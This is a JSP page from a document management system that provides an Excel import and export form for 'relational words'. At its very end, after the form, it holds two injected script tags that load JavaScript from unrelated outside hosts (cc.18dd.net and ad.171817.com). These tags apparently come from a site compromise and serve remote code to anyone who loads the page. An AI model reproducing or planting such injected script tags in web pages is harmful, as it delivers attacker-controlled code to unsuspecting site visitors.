<%
/*
 * @(#)FolderStructureLoader.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  EditDmsRelationalWordExcel.jsp

  This is a relational word Import and export page.  It imports an Excel file content to form a tree.

  @author             jerry zhou
  @company            DCIVision Ltd
  @creation date      21/05/2005
  @version            $Revision: 1.2.26.7 $
*/

%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.web.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.*" %>
<%@ page import="com.dcivision.framework.web.*" %>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintDmsRelationalWordForm" scope="request" class="com.dcivision.dms.web.MaintDmsRelationalWordForm"/>

<script language="javascript">
<!--
function OpSave() {
 
  document.maintDmsRelationalWordForm.opMode.value = "EXCEL_IMPORT";
  document.maintDmsRelationalWordForm.navMode.value = "";
  document.maintDmsRelationalWordForm.submit();
  return(false);
}

function ResultOpExport() { 
  
  document.maintDmsRelationalWordForm.opMode.value = "EXCEL_EXPORT";
  document.maintDmsRelationalWordForm.navMode.value = "";
  document.maintDmsRelationalWordForm.submit();
  return(false);
}


<%if ("EXCEL_EXPORT".equals(maintDmsRelationalWordForm.getOpMode())){%>
  function INIT() {
    window.location.href = "<%= request.getContextPath() %>/jsp/dms/FileDownloadSearchResultExcel.jsp?ext=.xls";
  }
<% } %>
 
-->
</script>

<html:form type="maintDmsRelationalWordForm" enctype="multipart/form-data" action="dms/MaintDmsRelationalWord" onsubmit="return(false)" styleClass="form-style-2">
<html:javascript formName="maintDmsRelationalWordForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>

<%
  //String sCurFunctionCode = maintDmsRelationalWordForm.getCurFunctionCode()==null? (String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY): maintDmsRelationalWordForm.getCurFunctionCode();

  String sCurFunctionCode = maintDmsRelationalWordForm.getCurFunctionCode();
  

  String rootID = maintDmsRelationalWordForm.getRootID();
  String parentID = maintDmsRelationalWordForm.getParentID();

  String opMode = maintDmsRelationalWordForm.getOpMode();
  String navMode = maintDmsRelationalWordForm.getNavMode();

  String functionType = "dms.relational.word.relational_word_search_setup";
 
%>

<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="ID"/>
<html:hidden property="curFunctionCode"/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property="creatorID"/>
<html:hidden property="createDate"/>
<html:hidden property="updaterID"/>
<html:hidden property="updateDate"/>

<div class="generalHeader">
	<div class="img_left"></div>
    <div class="img_right"></div>
    <div class="button">
    	<layout:returnButton className="but-standard" returnURL="MaintDmsRelationalWord.do"/>
    </div>
</div>

<div id="generalContainer" class="generalContainer">
		<div class="wrapperContainer-clearfix">
<!---import files --------------------------------------------------------------------------------->
<table width="100%">
   <layout:sectionHeader name="dms.relational.word.relational_word_import"/>
    <tr>
     <td class="formLabelSmallMan"><bean:message key="dms.label.doc_file"/>:&nbsp;</td>
     <td class="formFieldSmall">
     <html:file property="uploadFile" size="25" value="<%=maintDmsRelationalWordForm.getDocumentName()%>" styleClass="form-style-2-textfield"/>
     <html:hidden property="documentName"/></td>
    </tr>

    <tr>
     <td class="formLabelSmall"><bean:message key="dms.label.download_folder_template"/>:&nbsp;</td>
     <td class="formFieldSmall">
     <html:img src="IconDMSFileExtXLS.gif" /> <a href="<%=request.getContextPath()%>/jsp/dms/RelationalWordImportTemplate.xls" target="_blank">RelationalWordImportTemplate.xls</a>
     </td>
    </tr>

    <tr>
     <td class="formLabelSmall"></td>
     <td class="formFieldSmall">
     	 <html:standardButton label="common.label.import" onClick="return OpSave()"/>
     </td>
    </tr>
</table>
<br>
<!---export files -------------------------------------------------------------------------------->
<table width="100%">
    <layout:sectionHeader name="dms.relational.word.relational_word_export" mandatory="false"/> 
   
    <tr>
    <td class="formLabelSmallMan">
    	<bean:message key='dms.relational.word.relational_export_as_excel'/>:
    </td>  
    <td class="formFieldSmall"><html:standardButton label="dms.label.document_exprot" onClick="return ResultOpExport()"/></td>
    </tr>
</table>
		</div>
</div>





<%
  if (request.getAttribute("resultString") != null) {
    out.println(request.getAttribute("resultString"));
  }
%>
</html:form>
   

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>